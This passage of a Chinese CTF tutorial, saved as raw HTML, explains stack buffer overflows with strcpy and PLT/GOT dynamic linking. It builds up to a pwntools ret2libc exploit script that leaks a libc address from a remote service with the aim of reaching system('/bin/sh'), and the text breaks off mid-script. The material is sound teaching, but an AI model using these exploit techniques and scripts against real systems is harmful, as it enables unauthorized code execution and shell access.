style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span></span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">重点在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">00B51724</code>地址处，这条代码是调用strcpy的代码。上面两个push就是该函数的两个参数，该函数的作用就是将一个字符串复制到另外一个缓冲区中，并且可以看出该函数没有长度参数，函数中通过判断字符串结尾的00为结束，所以如果源字符串长度超过缓冲区长度就会造成溢出。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">目标缓冲区就是栈中的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">ebp-0x20</code>,ebp是栈底指针，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">ebp+4</code>就是上一层函数的返回地址，所以可以得出，只要源字符串长度超过0x20就会溢出覆盖原有数据。0x20就会覆盖原有EBP，0x24就会覆盖上层函数地址。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">栈帧图如下：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.8154362416107384" title="image-1662084057484" data-type="png" data-w="298" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=54f9ef3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVrGOfbNIMVjGXKDlnaPtgn2PZaQV2SiblrD6wHWj2UlMrgbZ1NtnMLx3NP9Cnxywy6eFY7R9sTrFw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">02</figcaption></figure><br/>所以只要我们控制我们的字符串溢出返回地址到我们想要执行的函数中，就可以造成任意代码执行。<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">稍稍改动一下代码，如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">exec</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>    system(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;calc&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">pwn1</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span>* str)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> buf[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x20</span>] = { <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">strcpy</span>(buf, str);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">printf</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%s\n&#34;</span>, buf);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> payload[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x28</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">memset</span>(payload, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;A&#39;</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x24</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>    *(DWORD*)(payload + <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x24</span>) = (DWORD)exec;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>    pwn1(payload);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    getchar();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">这段代码里我们手动添加了exec函数来执行计算器，我们在将pwn1函数的返回地址溢出覆盖成exec函数，这样就会打开计算器。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.7166666666666667" title="image-1662084932636" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=20e0abad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVrGOfbNIMVjGXKDlnaPtgngcicBECtrs45qUcba2s6EhtBCOar1HccbBREAqcs6GicVjVbwDjo9oBg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">03</figcaption></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x03 实战PWN</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">首先拿到一个ELF文件，拖到IDA中F5反汇编看一下伪代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">cdecl <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> argc, <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> **argv, <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> **envp)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span></span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">size_t</span> v3; <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// eax</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> s[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>]; <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// [esp+Ah] [ebp-1Eh]</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">strcpy</span>(s, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;plz input your name:\n&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  v3 = <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(s);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  write(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>, s, v3);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  vul();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">ssize_t</span> vul()<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> buf; <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// [esp+4h] [ebp-24h]</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> read(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, &amp;buf, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x80</span>u);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">很明显，溢出点在vul函数，该函数中通过read从标准输入中读取数据到buf缓冲区，而buf缓冲区的位置在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">ebp-0x24</code>，所以我们需要0x24个字节填满缓冲区，然后4个字节覆盖EBP，4个字节覆盖返回地址。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">溢出点找到了，但是溢出到什么地址上呢？这是接下来我们要解决的问题。</p><h4 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">PLT(过程链接表） GOT（全局偏移表）</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">在 Windows中存在一种叫做DLL（Dynamic Linkable Library动态链接库）的文件。它可以提供一些应用程序可以导入的数据、函数和类。DLL文件平时驻留在磁盘中，只有当运行的应用程序确实要调用这些DLL模块的情况下，系统才会将它们装载到内存空间中。这种方式不仅可以减少了应用程序EXE文件的大小和对内存空间的需求，耐而且这些DLL模块可以同时被多个应用程序所共享，从而极大方便了应用程序的设计。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">在Linux中，也有这么一个东西，那就是Linux共享库，也就是.so文件。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">不管是DLL还是SO，都是在运行中动态链接的，什么意思呢？当一段程序被编译器编译的时候，编译器如何知道代码中调用的系统API地址是什么呢？答案很显然，编译器并不能确认在不同版本系统上运行的API地址。这时候就需要在程序执行的时候进行动态链接，换句话说，程序调用的API地址是在程序运行时才确认的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">在Windows中在执行一个EXE的时候操作系统会通过IAT表将程序要调用的函数地址进行补全。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">而Linux中，会通过PLT GOT这两个东西来进行动态链接。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">PLT：代码段的一部分，PLT是一个数组，其中每个条目占16字节。每个被调用的函数都有一个PLT 条目，每个条目第一条代码就是跳转到目标函数的GOT中，如果是第一次执行，GOT中的地址是PLT的第二行代码，在PLT第二行代码中会调用函数获取真正的目标函数地址然后写入到GOT中并且执行。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">GOT：表中每一项都是本运行模块要引用的一个全局变量或函数的地址。可以用GOT表来间接引用全局变量、函数，也可以把GOT表的首地址作为一个基 准，用相对于该基准的偏移量来引用静态变量、静态函数。由于加载器不会把运行模块加载到固定地址，在不同进程的地址空间中，各运行模块的绝对地址、相对位 置都不同。这种不同反映到GOT表上，就是每个进程的每个运行模块都有独立的GOT表，所以进程间不能共享GOT表。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">plt,got执行过程简单来说如下图：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.7504725897920604" title="image-1662346027391" data-type="png" data-w="1058" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9953b533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVrGOfbNIMVjGXKDlnaPtgnLPl9icJa7mF0cL8jf0QzIJ6lf1fxtJTPZ14wF6eibSXicX5uwfbK6STNA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">04</figcaption><p>细节可以参考这篇文章</p><p><a href="https://www.cnblogs.com/cloud-tree/p/11927485.html" target="_blank">https://www.cnblogs.com/cloud-tree/p/11927485.html</a></p><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x04 解题思路</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">虽然我们不知道目标系统用的libc版本，但是每个libc模块中函数相对偏移是固定的。所以我们可以控制程序溢出执行Write函数，并将write的地址写到标准输入中，然后我们通过泄露的write地址可以通过<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">LibcSearch</code>来获得匹配的libc文件，知道了用的哪个libc文件后，我们就可以在该文件中找到system函数的偏移和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">/bin/sh</code>来执行任意命令了。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">最终代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">from</span> pwn <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">import</span> *<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">from</span> LibcSearcher <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">import</span> *<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> select <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">in</span> range(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9</span>):<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>    conn = remote(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;1.1.1.1&#39;</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9999</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;"># conn = process(&#39;main&#39;)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    elf = ELF(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;main&#39;</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>    print(hex(elf.plt[<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;write&#39;</span>]))<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>    print(hex(elf.got[<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;write&#39;</span>]))<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>    payload = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x24</span> * <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">b&#39;a&#39;</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">b&#39;bbbb&#39;</span> + p32(elf.plt[<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;write&#39;</span>]) + p32(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x0804848A</span>) + p32(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x1</span>) + p32(elf.got[<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;write&#39;</span>]) + p32(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x4</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>    print(conn.recv())<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>    conn.sendline(payload)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    write_got_int = u32(conn.recv()[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>:<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>])<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>    write_got = hex(write_got_int)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>    print(write_got)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>    Write_libc = LibcSearcher(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;write&#39;</span>, write_got_int)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span><br/><span style="font-size: 